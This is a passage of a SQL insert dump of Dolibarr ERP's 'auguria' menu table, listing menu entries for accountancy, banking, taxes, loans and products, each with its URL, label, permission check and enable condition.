15:14:30'),(162691,'auguria',1,'','left','accountancy',162687,NULL,NULL,8,'/compta/facture/stats/index.php?leftmenu=customers_bills&mode=supplier','','Statistics',NULL,'bills',1,'','$user->rights->fournisseur->facture->lire','$conf->supplier_invoice->enabled',2,'2017-08-30 15:14:30'),(162692,'auguria',1,'','left','accountancy',162690,NULL,NULL,1,'/fourn/facture/rapport.php?leftmenu=suppliers_bills','','Reporting',NULL,'bills',2,'','$user->rights->fournisseur->facture->lire','$conf->supplier_invoice->enabled',2,'2017-08-30 15:14:30'),(162787,'auguria',1,'','left','accountancy',161093,NULL,NULL,3,'/compta/facture/list.php?leftmenu=customers_bills','','BillsCustomers',NULL,'bills',0,'customer_bills','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162788,'auguria',1,'','left','accountancy',162787,NULL,NULL,3,'/compta/facture/card.php?action=create&leftmenu=customers_bills','','NewBill',NULL,'bills',1,'','$user->rights->facture->creer','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162789,'auguria',1,'','left','accountancy',162787,NULL,NULL,5,'/compta/facture/fiche-rec.php?leftmenu=customers_bills','','ListOfTemplates',NULL,'bills',1,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162791,'auguria',1,'','left','accountancy',162787,NULL,NULL,6,'/compta/paiement/list.php?leftmenu=customers_bills','','Payments',NULL,'bills',1,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162792,'auguria',1,'','left','accountancy',162787,NULL,NULL,4,'/compta/facture/list.php?leftmenu=customers_bills','','List',NULL,'bills',1,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162797,'auguria',1,'','left','accountancy',162791,NULL,NULL,1,'/compta/paiement/rapport.php?leftmenu=customers_bills','','Reportings',NULL,'bills',2,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162798,'auguria',1,'','left','accountancy',161101,NULL,NULL,9,'/compta/paiement/cheque/index.php?leftmenu=checks&mainmenu=bank','','MenuChequeDeposits',NULL,'bills',0,'checks','$user->rights->banque->lire','empty($conf->global->BANK_DISABLE_CHECK_DEPOSIT) && ! empty($conf->banque->enabled) && (! empty($conf->facture->enabled) || ! empty($conf->global->MAIN_MENU_CHEQUE_DEPOSIT_ON))',2,'2017-08-30 15:14:30'),(162799,'auguria',1,'','left','accountancy',162798,NULL,NULL,0,'/compta/paiement/cheque/card.php?leftmenu=checks&action=new','','NewCheckDeposit',NULL,'compta',1,'','$user->rights->banque->lire','empty($conf->global->BANK_DISABLE_CHECK_DEPOSIT) && ! empty($conf->banque->enabled) && (! empty($conf->facture->enabled) || ! empty($conf->global->MAIN_MENU_CHEQUE_DEPOSIT_ON))',2,'2017-08-30 15:14:30'),(162800,'auguria',1,'','left','accountancy',162798,NULL,NULL,1,'/compta/paiement/cheque/list.php?leftmenu=checks','','List',NULL,'bills',1,'','$user->rights->banque->lire','empty($conf->global->BANK_DISABLE_CHECK_DEPOSIT) && ! empty($conf->banque->enabled) && (! empty($conf->facture->enabled) || ! empty($conf->global->MAIN_MENU_CHEQUE_DEPOSIT_ON))',2,'2017-08-30 15:14:30'),(162801,'auguria',1,'','left','accountancy',162787,NULL,NULL,8,'/compta/facture/stats/index.php?leftmenu=customers_bills','','Statistics',NULL,'bills',1,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162807,'auguria',1,'','left','accountancy',162792,NULL,NULL,1,'/compta/facture/list.php?leftmenu=customers_bills&search_status=0','','BillShortStatusDraft',NULL,'bills',2,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162808,'auguria',1,'','left','accountancy',162792,NULL,NULL,2,'/compta/facture/list.php?leftmenu=customers_bills&search_status=1','','BillShortStatusNotPaid',NULL,'bills',2,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162809,'auguria',1,'','left','accountancy',162792,NULL,NULL,3,'/compta/facture/list.php?leftmenu=customers_bills&search_status=2','','BillShortStatusPaid',NULL,'bills',2,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162810,'auguria',1,'','left','accountancy',162792,NULL,NULL,4,'/compta/facture/list.php?leftmenu=customers_bills&search_status=3','','BillShortStatusCanceled',NULL,'bills',2,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162987,'auguria',1,'','left','accountancy',161093,NULL,NULL,3,'/commande/list.php?leftmenu=orders&search_status=3','','MenuOrdersToBill',NULL,'orders',0,'orders','$user->rights->commande->lire','$conf->commande->enabled',0,'2017-08-30 15:14:30'),(163087,'auguria',1,'','left','accountancy',161093,NULL,NULL,4,'/don/index.php?leftmenu=donations&mainmenu=accountancy','','Donations',NULL,'donations',0,'donations','$user->rights->don->lire','$conf->don->enabled',2,'2017-08-30 15:14:30'),(163088,'auguria',1,'','left','accountancy',163087,NULL,NULL,0,'/don/card.php?leftmenu=donations&mainmenu=accountancy&action=create','','NewDonation',NULL,'donations',1,'','$user->rights->don->creer','$conf->don->enabled && $leftmenu==\"donations\"',2,'2017-08-30 15:14:30'),(163089,'auguria',1,'','left','accountancy',163087,NULL,NULL,1,'/don/list.php?leftmenu=donations&mainmenu=accountancy','','List',NULL,'donations',1,'','$user->rights->don->lire','$conf->don->enabled && $leftmenu==\"donations\"',2,'2017-08-30 15:14:30'),(163187,'auguria',1,'','left','accountancy',161102,NULL,NULL,5,'/compta/deplacement/index.php?leftmenu=tripsandexpenses','','TripsAndExpenses',NULL,'trips',0,'tripsandexpenses','$user->rights->deplacement->lire','$conf->deplacement->enabled',0,'2017-08-30 15:14:30'),(163188,'auguria',1,'','left','accountancy',163187,NULL,NULL,1,'/compta/deplacement/card.php?action=create&leftmenu=tripsandexpenses','','New',NULL,'trips',1,'','$user->rights->deplacement->creer','$conf->deplacement->enabled',0,'2017-08-30 15:14:30'),(163189,'auguria',1,'','left','accountancy',163187,NULL,NULL,2,'/compta/deplacement/list.php?leftmenu=tripsandexpenses','','List',NULL,'trips',1,'','$user->rights->deplacement->lire','$conf->deplacement->enabled',0,'2017-08-30 15:14:30'),(163190,'auguria',1,'','left','accountancy',163187,NULL,NULL,2,'/compta/deplacement/stats/index.php?leftmenu=tripsandexpenses','','Statistics',NULL,'trips',1,'','$user->rights->deplacement->lire','$conf->deplacement->enabled',0,'2017-08-30 15:14:30'),(163287,'auguria',1,'','left','accountancy',161093,NULL,NULL,6,'/compta/charges/index.php?leftmenu=tax&mainmenu=accountancy','','MenuSpecialExpenses',NULL,'compta',0,'tax','(! empty($conf->tax->enabled) && $user->rights->tax->charges->lire) || (! empty($conf->salaries->enabled) && $user->rights->salaries->read)','$conf->tax->enabled || $conf->salaries->enabled',0,'2017-08-30 15:14:30'),(163297,'auguria',1,'','left','accountancy',163287,NULL,NULL,1,'/compta/salaries/index.php?leftmenu=tax_salary&mainmenu=accountancy','','Salaries',NULL,'salaries',1,'tax_sal','$user->rights->salaries->payment->read','$conf->salaries->enabled',0,'2017-08-30 15:14:30'),(163298,'auguria',1,'','left','accountancy',163297,NULL,NULL,2,'/compta/salaries/card.php?leftmenu=tax_salary&action=create','','NewPayment',NULL,'companies',2,'','$user->rights->salaries->payment->write','$conf->salaries->enabled && $leftmenu==\"tax_salary\"',0,'2017-08-30 15:14:30'),(163299,'auguria',1,'','left','accountancy',163297,NULL,NULL,3,'/compta/salaries/index.php?leftmenu=tax_salary','','Payments',NULL,'companies',2,'','$user->rights->salaries->payment->read','$conf->salaries->enabled && $leftmenu==\"tax_salary\"',0,'2017-08-30 15:14:30'),(163307,'auguria',1,'','left','accountancy',163287,NULL,NULL,1,'/loan/index.php?leftmenu=tax_loan&mainmenu=accountancy','','Loans',NULL,'loan',1,'tax_loan','$user->rights->loan->read','$conf->loan->enabled',0,'2017-08-30 15:14:30'),(163308,'auguria',1,'','left','accountancy',163307,NULL,NULL,2,'/loan/card.php?leftmenu=tax_loan&action=create','','NewLoan',NULL,'loan',2,'','$user->rights->loan->write','$conf->loan->enabled && $leftmenu==\"tax_loan\"',0,'2017-08-30 15:14:30'),(163310,'auguria',1,'','left','accountancy',163307,NULL,NULL,4,'/loan/calc.php?leftmenu=tax_loan','','Calculator',NULL,'companies',2,'','$user->rights->loan->calc','$conf->loan->enabled && $leftmenu==\"tax_loan\" && ! empty($conf->global->LOAN_SHOW_CALCULATOR)',0,'2017-08-30 15:14:30'),(163337,'auguria',1,'','left','accountancy',163287,NULL,NULL,1,'/compta/sociales/index.php?leftmenu=tax_social','','SocialContributions',NULL,'',1,'tax_social','$user->rights->tax->charges->lire','$conf->tax->enabled',0,'2017-08-30 15:14:30'),(163338,'auguria',1,'','left','accountancy',163337,NULL,NULL,2,'/compta/sociales/card.php?leftmenu=tax_social&action=create','','MenuNewSocialContribution',NULL,'',2,'','$user->rights->tax->charges->creer','$conf->tax->enabled && $leftmenu==\"tax_social\"',0,'2017-08-30 15:14:30'),(163339,'auguria',1,'','left','accountancy',163337,NULL,NULL,3,'/compta/sociales/payments.php?leftmenu=tax_social&mainmenu=accountancy&mode=sconly','','Payments',NULL,'',2,'','$user->rights->tax->charges->lire','$conf->tax->enabled && $leftmenu==\"tax_social\"',0,'2017-08-30 15:14:30'),(163387,'auguria',1,'','left','accountancy',163287,NULL,NULL,7,'/compta/tva/index.php?leftmenu=tax_vat&mainmenu=accountancy','','VAT',NULL,'companies',1,'tax_vat','$user->rights->tax->charges->lire','$conf->tax->enabled && empty($conf->global->TAX_DISABLE_VAT_MENUS)',0,'2017-08-30 15:14:30'),(163388,'auguria',1,'','left','accountancy',163387,NULL,NULL,0,'/compta/tva/card.php?leftmenu=tax_vat&action=create','','New',NULL,'companies',2,'','$user->rights->tax->charges->creer','$conf->tax->enabled && empty($conf->global->TAX_DISABLE_VAT_MENUS) && $leftmenu==\"tax_vat\"',0,'2017-08-30 15:14:30'),(163389,'auguria',1,'','left','accountancy',163387,NULL,NULL,1,'/compta/tva/reglement.php?leftmenu=tax_vat','','List',NULL,'companies',2,'','$user->rights->tax->charges->lire','$conf->tax->enabled && empty($conf->global->TAX_DISABLE_VAT_MENUS) && $leftmenu==\"tax_vat\"',0,'2017-08-30 15:14:30'),(163390,'auguria',1,'','left','accountancy',163387,NULL,NULL,2,'/compta/tva/clients.php?leftmenu=tax_vat','','ReportByCustomers',NULL,'companies',2,'','$user->rights->tax->charges->lire','$conf->tax->enabled && empty($conf->global->TAX_DISABLE_VAT_MENUS) && $leftmenu==\"tax_vat\"',0,'2017-08-30 15:14:30'),(163391,'auguria',1,'','left','accountancy',163387,NULL,NULL,3,'/compta/tva/quadri_detail.php?leftmenu=tax_vat','','ReportByQuarter',NULL,'companies',2,'','$user->rights->tax->charges->lire','$conf->tax->enabled && empty($conf->global->TAX_DISABLE_VAT_MENUS) && $leftmenu==\"tax_vat\"',0,'2017-08-30 15:14:30'),(163487,'auguria',1,'','left','accountancy',161093,NULL,NULL,7,'/accountancy/index.php?leftmenu=accountancy','','MenuAccountancy',NULL,'accountancy',0,'accounting','! empty($conf->accounting->enabled) || $user->rights->accounting->bind->write || $user->rights->accounting->bind->write || $user->rights->compta->resultat->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163488,'auguria',1,'','left','accountancy',163487,NULL,NULL,2,'/accountancy/customer/index.php?leftmenu=dispatch_customer','','CustomersVentilation',NULL,'accountancy',1,'dispatch_customer','$user->rights->accounting->bind->write','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163489,'auguria',1,'','left','accountancy',163488,NULL,NULL,3,'/accountancy/customer/list.php','','ToDispatch',NULL,'accountancy',2,'','$user->rights->accounting->bind->write','$conf->accounting->enabled && $leftmenu==\"dispatch_customer\"',0,'2017-08-30 15:14:30'),(163490,'auguria',1,'','left','accountancy',163488,NULL,NULL,4,'/accountancy/customer/lines.php','','Dispatched',NULL,'accountancy',2,'','$user->rights->accounting->bind->write','$conf->accounting->enabled && $leftmenu==\"dispatch_customer\"',0,'2017-08-30 15:14:30'),(163497,'auguria',1,'','left','accountancy',163487,NULL,NULL,5,'/accountancy/supplier/index.php?leftmenu=dispatch_supplier','','SuppliersVentilation',NULL,'accountancy',1,'ventil_supplier','$user->rights->accounting->bind->write','$conf->accounting->enabled && $conf->fournisseur->enabled',0,'2017-08-30 15:14:30'),(163498,'auguria',1,'','left','accountancy',163497,NULL,NULL,6,'/accountancy/supplier/list.php','','ToDispatch',NULL,'accountancy',2,'','$user->rights->accounting->bind->write','$conf->accounting->enabled && $conf->fournisseur->enabled && $leftmenu==\"dispatch_supplier\"',0,'2017-08-30 15:14:30'),(163499,'auguria',1,'','left','accountancy',163497,NULL,NULL,7,'/accountancy/supplier/lines.php','','Dispatched',NULL,'accountancy',2,'','$user->rights->accounting->bind->write','$conf->accounting->enabled && $conf->fournisseur->enabled && $leftmenu==\"dispatch_supplier\"',0,'2017-08-30 15:14:30'),(163507,'auguria',1,'','left','accountancy',163487,NULL,NULL,5,'/accountancy/expensereport/index.php?leftmenu=dispatch_expensereport','','ExpenseReportsVentilation',NULL,'accountancy',1,'ventil_expensereport','$user->rights->accounting->bind->write','$conf->accounting->enabled && $conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(163508,'auguria',1,'','left','accountancy',163507,NULL,NULL,6,'/accountancy/expensereport/list.php','','ToDispatch',NULL,'accountancy',2,'','$user->rights->accounting->bind->write','$conf->accounting->enabled && $conf->expensereport->enabled && $leftmenu==\"dispatch_expensereport\"',0,'2017-08-30 15:14:30'),(163509,'auguria',1,'','left','accountancy',163507,NULL,NULL,7,'/accountancy/expensereport/lines.php','','Dispatched',NULL,'accountancy',2,'','$user->rights->accounting->bind->write','$conf->accounting->enabled && $conf->expensereport->enabled && $leftmenu==\"dispatch_expensereport\"',0,'2017-08-30 15:14:30'),(163517,'auguria',1,'','left','accountancy',163487,NULL,NULL,15,'/accountancy/bookkeeping/list.php','','Bookkeeping',NULL,'accountancy',1,'bookkeeping','$user->rights->accounting->mouvements->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163522,'auguria',1,'','left','accountancy',163487,NULL,NULL,16,'/accountancy/bookkeeping/balance.php','','AccountBalance',NULL,'accountancy',1,'balance','$user->rights->accounting->mouvements->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163527,'auguria',1,'','left','accountancy',163487,NULL,NULL,17,'/accountancy/report/result.php?mainmenu=accountancy&leftmenu=accountancy','','Reportings',NULL,'main',1,'report','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163528,'auguria',1,'','left','accountancy',163527,NULL,NULL,19,'/compta/resultat/index.php?mainmenu=accountancy&leftmenu=accountancy','','ReportInOut',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163529,'auguria',1,'','left','accountancy',163528,NULL,NULL,18,'/accountancy/report/result.php?mainmenu=accountancy&leftmenu=accountancy','','ByAccounts',NULL,'main',3,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163530,'auguria',1,'','left','accountancy',163528,NULL,NULL,20,'/compta/resultat/clientfourn.php?mainmenu=accountancy&leftmenu=accountancy','','ByCompanies',NULL,'main',3,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163531,'auguria',1,'','left','accountancy',163527,NULL,NULL,21,'/compta/stats/index.php?mainmenu=accountancy&leftmenu=accountancy','','ReportTurnover',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163532,'auguria',1,'','left','accountancy',163531,NULL,NULL,22,'/compta/stats/casoc.php?mainmenu=accountancy&leftmenu=accountancy','','ByCompanies',NULL,'main',3,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163533,'auguria',1,'','left','accountancy',163531,NULL,NULL,23,'/compta/stats/cabyuser.php?mainmenu=accountancy&leftmenu=accountancy','','ByUsers',NULL,'main',3,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163534,'auguria',1,'','left','accountancy',163531,NULL,NULL,24,'/compta/stats/cabyprodserv.php?mainmenu=accountancy&leftmenu=accountancy','','ByProductsAndServices',NULL,'main',3,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163537,'auguria',1,'','left','accountancy',163538,NULL,NULL,80,'/accountancy/admin/fiscalyear.php?mainmenu=accountancy&leftmenu=accountancy_admin','','FiscalPeriod',NULL,'admin',1,'accountancy_admin_period','','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\" && $conf->global->MAIN_FEATURES_LEVEL > 0',2,'2017-08-30 15:14:30'),(163538,'auguria',1,'','left','accountancy',163487,NULL,NULL,1,'/accountancy/index.php?mainmenu=accountancy&leftmenu=accountancy_admin','','Setup',NULL,'accountancy',1,'accountancy_admin','$user->rights->accounting->chartofaccount','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163541,'auguria',1,'','left','accountancy',163538,NULL,NULL,10,'/accountancy/admin/journals_list.php?id=35&mainmenu=accountancy&leftmenu=accountancy_admin','','AccountingJournals',NULL,'accountancy',2,'accountancy_admin_journal','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163542,'auguria',1,'','left','accountancy',163538,NULL,NULL,20,'/accountancy/admin/account.php?mainmenu=accountancy&leftmenu=accountancy_admin','','Pcg_version',NULL,'accountancy',2,'accountancy_admin_chartmodel','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163543,'auguria',1,'','left','accountancy',163538,NULL,NULL,30,'/accountancy/admin/account.php?mainmenu=accountancy&leftmenu=accountancy_admin','','Chartofaccounts',NULL,'accountancy',2,'accountancy_admin_chart','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163544,'auguria',1,'','left','accountancy',163538,NULL,NULL,40,'/accountancy/admin/categories_list.php?id=32&mainmenu=accountancy&leftmenu=accountancy_admin','','AccountingCategory',NULL,'accountancy',2,'accountancy_admin_chart_group','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163545,'auguria',1,'','left','accountancy',163538,NULL,NULL,50,'/accountancy/admin/defaultaccounts.php?mainmenu=accountancy&leftmenu=accountancy_admin','','MenuDefaultAccounts',NULL,'accountancy',2,'accountancy_admin_default','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163546,'auguria',1,'','left','accountancy',163538,NULL,NULL,60,'/admin/dict.php?id=10&from=accountancy&search_country_id=__MYCOUNTRYID__&mainmenu=accountancy&leftmenu=accountancy_admin','','MenuVatAccounts',NULL,'accountancy',2,'accountancy_admin_vat','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163547,'auguria',1,'','left','accountancy',163538,NULL,NULL,70,'/admin/dict.php?id=7&from=accountancy&search_country_id=__MYCOUNTRYID__&mainmenu=accountancy&leftmenu=accountancy_admin','','MenuTaxAccounts',NULL,'accountancy',2,'accountancy_admin_tax','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163548,'auguria',1,'','left','accountancy',163538,NULL,NULL,80,'/admin/dict.php?id=17&from=accountancy&mainmenu=accountancy&leftmenu=accountancy_admin','','MenuExpenseReportAccounts',NULL,'accountancy',2,'accountancy_admin_expensereport','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $conf->expensereport->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163549,'auguria',1,'','left','accountancy',163538,NULL,NULL,90,'/accountancy/admin/productaccount.php?mainmenu=accountancy&leftmenu=accountancy_admin','','MenuProductsAccounts',NULL,'accountancy',2,'accountancy_admin_product','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163587,'auguria',1,'','left','accountancy',161101,NULL,NULL,9,'/compta/prelevement/index.php?leftmenu=withdraw&mainmenu=bank','','StandingOrders',NULL,'withdrawals',0,'withdraw','$user->rights->prelevement->bons->lire','$conf->prelevement->enabled',2,'2017-08-30 15:14:30'),(163589,'auguria',1,'','left','accountancy',163587,NULL,NULL,0,'/compta/prelevement/create.php?leftmenu=withdraw','','NewStandingOrder',NULL,'withdrawals',1,'','$user->rights->prelevement->bons->lire','$conf->prelevement->enabled && $leftmenu==\"withdraw\"',2,'2017-08-30 15:14:30'),(163590,'auguria',1,'','left','accountancy',163587,NULL,NULL,2,'/compta/prelevement/bons.php?leftmenu=withdraw','','WithdrawalsReceipts',NULL,'withdrawals',1,'','$user->rights->prelevement->bons->lire','$conf->prelevement->enabled && $leftmenu==\"withdraw\"',2,'2017-08-30 15:14:30'),(163591,'auguria',1,'','left','accountancy',163587,NULL,NULL,3,'/compta/prelevement/list.php?leftmenu=withdraw','','WithdrawalsLines',NULL,'withdrawals',1,'','$user->rights->prelevement->bons->lire','$conf->prelevement->enabled && $leftmenu==\"withdraw\"',2,'2017-08-30 15:14:30'),(163593,'auguria',1,'','left','accountancy',163587,NULL,NULL,5,'/compta/prelevement/rejets.php?leftmenu=withdraw','','Rejects',NULL,'withdrawals',1,'','$user->rights->prelevement->bons->lire','$conf->prelevement->enabled && $leftmenu==\"withdraw\"',2,'2017-08-30 15:14:30'),(163594,'auguria',1,'','left','accountancy',163587,NULL,NULL,6,'/compta/prelevement/stats.php?leftmenu=withdraw','','Statistics',NULL,'withdrawals',1,'','$user->rights->prelevement->bons->lire','$conf->prelevement->enabled && $leftmenu==\"withdraw\"',2,'2017-08-30 15:14:30'),(163687,'auguria',1,'','left','accountancy',161101,NULL,NULL,1,'/compta/bank/index.php?leftmenu=bank&mainmenu=bank','','MenuBankCash',NULL,'banks',0,'bank','$user->rights->banque->lire','$conf->banque->enabled',0,'2017-08-30 15:14:30'),(163688,'auguria',1,'','left','accountancy',163687,NULL,NULL,0,'/compta/bank/card.php?action=create&leftmenu=bank','','MenuNewFinancialAccount',NULL,'banks',1,'','$user->rights->banque->configurer','$conf->banque->enabled && ($leftmenu==\"bank\" || $leftmenu==\"checks\" || $leftmenu==\"withdraw\")',0,'2017-08-30 15:14:30'),(163690,'auguria',1,'','left','accountancy',163687,NULL,NULL,2,'/compta/bank/bankentries.php?leftmenu=bank','','ListTransactions',NULL,'banks',1,'','$user->rights->banque->lire','$conf->banque->enabled && ($leftmenu==\"bank\" || $leftmenu==\"checks\" || $leftmenu==\"withdraw\")',0,'2017-08-30 15:14:30'),(163691,'auguria',1,'','left','accountancy',163687,NULL,NULL,3,'/compta/bank/budget.php?leftmenu=bank','','ListTransactionsByCategory',NULL,'banks',1,'','$user->rights->banque->lire','$conf->banque->enabled && ($leftmenu==\"bank\" || $leftmenu==\"checks\" || $leftmenu==\"withdraw\")',0,'2017-08-30 15:14:30'),(163693,'auguria',1,'','left','accountancy',163687,NULL,NULL,5,'/compta/bank/transfer.php?leftmenu=bank','','BankTransfers',NULL,'banks',1,'','$user->rights->banque->transfer','$conf->banque->enabled && ($leftmenu==\"bank\" || $leftmenu==\"checks\" || $leftmenu==\"withdraw\")',0,'2017-08-30 15:14:30'),(163737,'auguria',1,'','left','accountancy',161101,NULL,NULL,4,'/categories/index.php?leftmenu=bank&type=5','','Categories',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->categorie->enabled',2,'2017-08-30 15:14:30'),(163738,'auguria',1,'','left','accountancy',163737,NULL,NULL,0,'/categories/card.php?leftmenu=bank&action=create&type=5','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->categorie->enabled',2,'2017-08-30 15:14:30'),(163787,'auguria',1,'','left','accountancy',161093,NULL,NULL,11,'/compta/resultat/index.php?leftmenu=ca&mainmenu=accountancy','','Reportings',NULL,'main',0,'ca','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled',0,'2017-08-30 15:14:30'),(163792,'auguria',1,'','left','accountancy',163487,NULL,NULL,1,'','','Journalization',NULL,'main',1,'','$user->rights->accounting->comptarapport->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163793,'auguria',1,'','left','accountancy',163792,NULL,NULL,4,'/accountancy/journal/sellsjournal.php?mainmenu=accountancy&leftmenu=accountancy_journal&id_journal=1','','SellsJournal',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163794,'auguria',1,'','left','accountancy',163792,NULL,NULL,1,'/accountancy/journal/bankjournal.php?mainmenu=accountancy&leftmenu=accountancy_journal&id_journal=3','','BankJournal',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163795,'auguria',1,'','left','accountancy',163792,NULL,NULL,2,'/accountancy/journal/expensereportsjournal.php?mainmenu=accountancy&leftmenu=accountancy_journal&id_journal=6','','ExpenseReportJournal',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163796,'auguria',1,'','left','accountancy',163792,NULL,NULL,3,'/accountancy/journal/purchasesjournal.php?mainmenu=accountancy&leftmenu=accountancy_journal&id_journal=2','','PurchasesJournal',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163798,'auguria',1,'','left','accountancy',163787,NULL,NULL,0,'/compta/resultat/index.php?leftmenu=ca','','ReportInOut',NULL,'main',1,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled && $leftmenu==\"ca\"',0,'2017-08-30 15:14:30'),(163799,'auguria',1,'','left','accountancy',163788,NULL,NULL,0,'/compta/resultat/clientfourn.php?leftmenu=ca','','ByCompanies',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled && $leftmenu==\"ca\"',0,'2017-08-30 15:14:30'),(163800,'auguria',1,'','left','accountancy',163787,NULL,NULL,1,'/compta/stats/index.php?leftmenu=ca','','ReportTurnover',NULL,'main',1,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled && $leftmenu==\"ca\"',0,'2017-08-30 15:14:30'),(163801,'auguria',1,'','left','accountancy',163790,NULL,NULL,0,'/compta/stats/casoc.php?leftmenu=ca','','ByCompanies',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled && $leftmenu==\"ca\"',0,'2017-08-30 15:14:30'),(163802,'auguria',1,'','left','accountancy',163790,NULL,NULL,1,'/compta/stats/cabyuser.php?leftmenu=ca','','ByUsers',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled && $leftmenu==\"ca\"',0,'2017-08-30 15:14:30'),(163803,'auguria',1,'','left','accountancy',163790,NULL,NULL,1,'/compta/stats/cabyprodserv.php?leftmenu=ca','','ByProductsAndServices',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled && $leftmenu==\"ca\"',0,'2017-08-30 15:14:30'),(163887,'auguria',1,'','left','products',161090,NULL,NULL,0,'/product/index.php?leftmenu=product&type=0','','Products',NULL,'products',0,'product','$user->rights->produit->lire','$conf->product->enabled',2,'2017-08-30 15:14:30'),(163888,'auguria',1,'','left','products',163887,NULL,NULL,0,'/product/card.php?leftmenu=product&action=create&type=0','','NewProduct',NULL,'products',1,'','$user->rights->produit->creer','$conf->product->enabled',2,'2017-08-30 15:14:30'),(163889,'auguria',1,'','left','products',163887,NULL,NULL,1,'/product/list.php?leftmenu=product&type=0','','List',NULL,'products',1,'','$user->rights->produit->lire','$conf->product->enabled',2,'2017-08-30 15:14:30'),(163890,'auguria',1,'','left','products',163887,NULL,NULL,4,'/product/reassort.php?type=0','','Stocks',NULL,'products',1,'','$user->rights->produit->lire && $user->rights->stock->lire','$conf->product->enabled',2,'2017-08-30 15:14:30'),(163891,'auguria',1,'','left','products',163887,NULL,NULL,7,'/product/stats/card.php?id=all&leftmenu=stats&type=0','','Statistics',NULL,'main',1,'','$user->rights->produit->lire','$conf->propal->enabled',2,'2017-08-30 15:14:30'),(163892,'auguria',1,'','left','products',163887,NULL,NULL,5,'/product/reassortlot.php?type=0','','StocksByLotSerial',NULL,'products',1,'','$user->rights->produit->lire && $user->rights->stock->lire','$conf->productbatch->enabled',2,'2017-08-30 